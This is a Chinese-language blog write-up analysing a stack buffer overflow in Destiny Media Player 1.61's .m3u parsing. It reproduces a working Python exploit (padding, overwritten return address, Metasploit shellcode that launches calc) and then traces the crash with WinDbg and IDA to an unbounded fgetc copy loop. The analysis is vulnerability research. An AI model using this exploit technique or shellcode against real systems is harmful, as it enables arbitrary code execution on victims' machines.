[五一快乐!]Destiny Media Player 1.61 'm3u'文件格式缓冲区溢出漏洞

作者:k0shl 转载请注明出处:http://whereisk0shl.top
在五一最后一天更新博客,前两天去了趟天津参加同学的婚礼,今天结婚的人很多,衷心祝福所有新人美满,也祝福有情人终成眷属!


软件说明


软件下载:
https://www.exploit-db.com/apps/b7499cd35822865b0895def10d0a5eb8-destinymp3.exe.zip

PoC:

print "**************************************************************************"
print " Destiny Media Player 1.61 (.m3u File) Local Stack Overflow Exploit\n"
print " Founder: aBo MoHaMeD"
print " exploit & code: His0k4"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)\n"
print "**************************************************************************"
             
 
             
buff = "\x41" * 2052
 
EIP = "\x5D\x38\x82\x7C" #call ESP from kernel32.dll
 
nop = "\x90" * 10  #Blah Blah :D
 
# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode = (
    "\x29\xc9\x83\xe9\xdd\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xc9"
    "\x2c\xc9\x40\x83\xeb\xfc\xe2\xf4\x35\xc4\x8d\x40\xc9\x2c\x42\x05"
    "\xf5\xa7\xb5\x45\xb1\x2d\x26\xcb\x86\x34\x42\x1f\xe9\x2d\x22\x09"
    "\x42\x18\x42\x41\x27\x1d\x09\xd9\x65\xa8\x09\x34\xce\xed\x03\x4d"
    "\xc8\xee\x22\xb4\xf2\x78\xed\x44\xbc\xc9\x42\x1f\xed\x2d\x22\x26"
    "\x42\x20\x82\xcb\x96\x30\xc8\xab\x42\x30\x42\x41\x22\xa5\x95\x64"
    "\xcd\xef\xf8\x80\xad\xa7\x89\x70\x4c\xec\xb1\x4c\x42\x6c\xc5\xcb"
    "\xb9\x30\x64\xcb\xa1\x24\x22\x49\x42\xac\x79\x40\xc9\x2c\x42\x28"
    "\xf5\x73\xf8\xb6\xa9\x7a\x40\xb8\x4a\xec\xb2\x10\xa1\xdc\x43\x44"
    "\x96\x44\x51\xbe\x43\x22\x9e\xbf\x2e\x4f\xa8\x2c\xaa\x02\xac\x38"
    "\xac\x2c\xc9\x40"
    )
 
exploit = buff + EIP + nop + shellcode # too easy :p
 
try:
    out_file = open("exploit.m3u",'w')
    out_file.write(exploit)
    out_file.close()
    raw_input("\nExploit file created!\n")
except:
    print "Error"

测试环境:
Windows xp sp3

利用python文件生成一个能触发漏洞的m3u文件,使用Destiny Media Player打开这个m3u文件,触发漏洞,为了能够确保触发漏洞,可以修改PoC,将eip,nop,shellcode部分内容改成畸形字符串'\x41'等等。


漏洞复现


此漏洞是由于DestinyMediaPlayer在sub_426590函数处理文件内容时,没有对文件内容的合法性进行检查,导致在进行fgetc的时候将所有畸形字符串保存进缓冲区,从而导致栈中关键指针被覆盖,在后续指针调用中引用了不合法的地址,从而进入SEH异常处理,造成缓冲区溢出漏洞,下面对此漏洞进行详细分析。

首先打开漏洞程序,加载PoC,程序崩溃,到达漏洞现场。

(5e0.654): Access violation - code c0000005 (!!! second chance !!!)
eax=41414141 ebx=0000000b ecx=ffffffff edx=014871d0 esi=00000000 edi=00312c44
eip=004266d7 esp=0030ffec ebp=00312c04 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
*** WARNING: Unable to verify checksum for C:\Program Files\Destiny\Destiny Media Player\Destiny.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Destiny\Destiny Media Player\Destiny.exe
Destiny+0x266d7:
004266d7 f6400c10        test    byte ptr [eax+0Ch],10h     ds:0023:4141414d=??
0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00312c04 41414141 41414141 41414141 41414141 Destiny+0x266d7
00312c08 41414141 41414141 41414141 41414141 0x41414141
00312c0c 41414141 41414141 41414141 41414141 0x41414141
00312c10 41414141 41414141 41414141 41414141 0x41414141
00312c14 41414141 41414141 41414141 41414141 0x41414141

可以看到此时栈被完全冲垮,这样我们通过减少畸形字符串长度来获取漏洞现场之前的堆栈调用情况。

(708.7fc): Access violation - code c0000005 (!!! second chance !!!)
eax=41414141 ebx=0000000b ecx=ffffffff edx=01487190 esi=00000000 edi=00312c44
eip=004266d7 esp=0030ffec ebp=00312c04 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
*** WARNING: Unable to verify checksum for C:\Program Files\Destiny\Destiny Media Player\Destiny.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Destiny\Destiny Media Player\Destiny.exe
Destiny+0x266d7:
004266d7 f6400c10        test    byte ptr [eax+0Ch],10h     ds:0023:4141414d=??
0:000> kb
ChildEBP RetAddr  Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00312c04 41414141 41414141 41414141 41414141 Destiny+0x266d7
00312ca4 7c9392ef 7c938f01 00c10000 00100301 0x41414141
00312ca8 7c938f01 00c10000 00100301 7c9301bb ntdll!RtlDosSearchPath_Ustr+0x6fe
00312cb4 7c9301bb 00000000 012b0048 7c8850e0 ntdll!RtlDosSearchPath_Ustr+0x310
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\GDI32.dll - 
00312d58 77ef8122 87010c29 00000000 00000000 ntdll!RtlAllocateHeap+0x117

在之前的堆栈调用基本都是系统dll中的API,那么我们可以假定这个漏洞就是在当前函数发生的,我们就从004266d7地址所在的函数调用入口处开始分析。


漏洞分析


要想知道漏洞为何产生,需要了解畸形字符串在什么时候读取的,以及漏洞触发的时候到底发生了什么,这之间的内容,我们就在刚才定位的004266d7地址对应的函数sub_426590入口处下断点。

.text:00426590 ; int __cdecl sub_426590(HWND hDlg, int nIDDlgItem, FILE *)
.text:00426590 sub_426590      proc near               ; CODE XREF: sub_41C790+94p
.text:00426590                                         ; sub_41CA90+5D87p ...
.text:00426590
.text:00426590 var_2C0C        = byte ptr -2C0Ch
.text:00426590 var_1C0C        = byte ptr -1C0Ch
.text:00426590 var_1C0B        = byte ptr -1C0Bh
.text:00426590 var_1C0A        = byte ptr -1C0Ah
.text:00426590 MaximumComponentLength= dword ptr -0C0Ch
.text:00426590 lParam          = dword ptr -80Ch
.text:00426590 var_806         = byte ptr -806h
.text:00426590 var_804         = byte ptr -804h
.text:00426590 FileSystemFlags = dword ptr -0Ch
.text:00426590 var_8           = dword ptr -8
.text:00426590 var_4           = dword ptr -4
.text:00426590 hDlg            = dword ptr  8
.text:00426590 nIDDlgItem      = dword ptr  0Ch
.text:00426590 arg_8           = dword ptr  10h
.text:00426590
.text:00426590                 push    ebp
.text:00426591                 mov     ebp, esp

重新加载PoC,程序中断,同时观察寄存器的值。

Breakpoint 0 hit
eax=00000000 ebx=00b3d100 ecx=000073db edx=00c12f60 esi=000003ef edi=00110118
eip=00426590 esp=00313c1c ebp=00313c38 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Destiny+0x26590:
00426590 55              push    ebp
0:000> dc ebx
00b3d100  445c3a43 6d75636f 73746e65 646e6120  C:\Documents and
00b3d110  74655320 676e6974 6f725c73 705c746f   Settings\root\p
00b3d120  6d2e636f 00007533 00000000 00000000  oc.m3u

可以看到畸形字符串的路径已经被加载,接下来单步跟踪。

0:000> p
eax=0000000b ebx=0000000b ecx=7c821cfe edx=00510001 esi=00000000 edi=00b3d100
eip=004265d5 esp=00310ff8 ebp=00313c18 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Destiny+0x265d5:
004265d5 e86e8b0000      call    Destiny+0x2f148 (0042f148)
0:000> dc poi(esp)
00b3d100  445c3a43 6d75636f 73746e65 646e6120  C:\Documents and
00b3d110  74655320 676e6974 6f725c73 705c746f   Settings\root\p
00b3d120  6d2e636f 00007533 00000000 00000000  oc.m3u..........

在004265d5地址处的call函数,发现esp地址存放的值为之前加载进来的畸形文件的绝对路径,其实这个call函数就是fopen。

.text:004265CD                 push    offset aRb      ; "rb"
.text:004265D2                 push    edi             ; char *
.text:004265D3                 mov     ebx, eax
.text:004265D5                 call    _fopen

相当于畸形文件在这里被加载了,那么可以确定漏洞确实只发生在这个函数中,那么接下来要找到读取字符串的位置。继续单步跟踪。

0:000> p
eax=004b32f0 ebx=0000000b ecx=0000001e edx=003123f8 esi=00000000 edi=00312c44
eip=0042666b esp=0030ffe4 ebp=00312c04 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Destiny+0x2666b:
0042666b e880faffff      call    Destiny+0x260f0 (004260f0)
0:000> dd ebp
00312c04  00312c24 0041c829 00130118 000003ef
00312c14  004b32f0 012b004c 00000000 00130118
00312c24  00313c44 0041c8ed 00130118 000003ef
00312c34  00000026 0031e4a0 00130118 00000000
00312c44  445c3a43 6d75636f 73746e65 646e6120
00312c54  74655320 676e6974 6f725c73 705c746f
00312c64  6d2e636f 00007533 0031e374 00130118
00312c74  61656c50 77206573 2e746961 00002e2e
0:000> p
eax=ffffffff ebx=0000000b ecx=004b3219 edx=01487190 esi=00000000 edi=00312c44
eip=00426670 esp=0030ffe4 ebp=00312c04 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Destiny+0x26670:
00426670 6a0f            push    0Fh
0:000> dd ebp
00312c04  41414141 41414141 41414141 41414141
00312c14  41414141 41414141 41414141 41414141
00312c24  41414141 41414141 00130000 000003ef
00312c34  00000026 0031e4a0 00130118 00000000

eax=ffffffff ebx=0000000b ecx=004b3219 edx=01487190 esi=00000000 edi=00312c44
eip=00426165 esp=0030ffe0 ebp=00312c04 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Destiny+0x26165:
00426165 c3              ret
0:000> dd ebp
00312c04  41414141 41414141 41414141 41414141
00312c14  41414141 41414141 41414141 41414141
00312c24  41414141 41414141 001b0000 000003ef
00312c34  00000026 0031e4a0 001b0118 00000000
00312c44  445c3a43 6d75636f 73746e65 646e6120

可以看到,在0042666b位置进行了一次call函数调用,在调用前,ebp的值为正常值,但是调用后ebp的值被41414141覆盖,那么我们可以判断sub_4260f0这个函数有可能就是加载畸形字符串的函数,接下来我们进入这个函数跟踪。

0:000> p
eax=004b32f0 ebx=00000010 ecx=0000001e edx=003123f8 esi=004b32f0 edi=003123f8
eip=00426104 esp=0030ffcc ebp=0030ffdc iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Destiny+0x26104:
00426104 e828990000      call    Destiny+0x2fa31 (0042fa31)
0:000> p
eax=00000041 ebx=00000010 ecx=004b32f0 edx=01487190 esi=004b32f0 edi=003123f8
eip=00426109 esp=0030ffcc ebp=0030ffdc iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
Destiny+0x26109:
00426109 8a4e0c          mov     cl,byte ptr [esi+0Ch]      ds:0023:004b32fc=09

在此函数中存在一处循环,其中在00426104位置进行了一次调用,这个调用其实就是fgetc,从畸形文件中读取一个字节,而从eax变化就可以看到,读取到的这个字节就是畸形字符串A,也就是0x41,这处循环就是一处赋值操作,从这里会将文件内容全部读取出来保存进缓冲区。

而这个过程,没有进行长度控制,也没有进行长度检查,我们直接跳过循环,在这个函数返回位置观察。

eax=ffffffff ebx=0000000b ecx=004b3219 edx=01487190 esi=00000000 edi=00312c44
eip=00426165 esp=0030ffe0 ebp=00312c04 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
Destiny+0x26165:
00426165 c3              ret
0:000> dd ebp
00312c04  41414141 41414141 41414141 41414141
00312c14  41414141 41414141 41414141 41414141
00312c24  41414141 41414141 001b0000 000003ef
00312c34  00000026 0031e4a0 001b0118 00000000
00312c44  445c3a43 6d75636f 73746e65 646e6120

可以看到循环结束后,ebp对应的位置已经发生了改变,那么接下来程序返回后,继续单步跟踪。

0:000> p
eax=ffffffff ebx=0000000b ecx=ffffffff edx=01487190 esi=00000000 edi=00b3d100
eip=004266ce esp=00311000 ebp=00313c18 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Destiny+0x266ce:
004266ce 8b4510          mov     eax,dword ptr [ebp+10h] ss:0023:00313c28=41414141
0:000> p
eax=41414141 ebx=0000000b ecx=ffffffff edx=01487190 esi=00000000 edi=00b3d100
eip=004266d1 esp=00311000 ebp=00313c18 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
Destiny+0x266d1:
004266d1 893530d54d00    mov     dword ptr [Destiny+0xdd530 (004dd530)],esi ds:0023:004dd530=00000000
0:000> dd 00313b00
00313b00  41414141 41414141 41414141 41414141
00313b10  41414141 41414141 41414141 41414141
00313b20  41414141 41414141 41414141 41414141
00313b30  41414141 41414141 41414141 41414141
00313b40  41414141 41414141 41414141 41414141
00313b50  41414141 41414141 41414141 41414141
00313b60  41414141 41414141 41414141 41414141
00313b70  41414141 41414141 41414141 41414141

可以看到到达漏洞触发现场时,ebp的值已经被覆盖,而ebp后续会将自己的值交给eax,而eax后续作为指针操作时因为地址非法,导致进入SEH异常函数处理。

下面我们通过IDA pro来看一下这段漏洞函数的关键代码部分。

int __cdecl sub_426590(HWND hDlg, int nIDDlgItem, FILE *a3)
  v43 = fopen((const char *)&a3->_ptr, aRb);

这里只列举了关键代码部分,剩下的部分都删除了,首先这里fopen打开漏洞文件。

  sub_4260F0(v43, (int)&lParam);

紧接着sub_4260F0会读取漏洞文件,循环赋值代码如下。

    while ( 1 )
    {
      v3 = fgetc(a1);
      if ( a1->_flag & 0x10 || v3 == 13 || v3 == 10 )
        break;
      if ( v3 == -1 )
        goto LABEL_12;
      *v2++ = v3;
      if ( a1->_flag & 0x10 )
      {
        *v2 = 0;
        v2[1] = 0;
        return;
      }
    }

由于这里没有对长度控制,之后也没有对长度进行校验,从而导致了缓冲区溢出的发生。

Comments
Write a Comment
  • 啥子 你不是拍照去了嘛????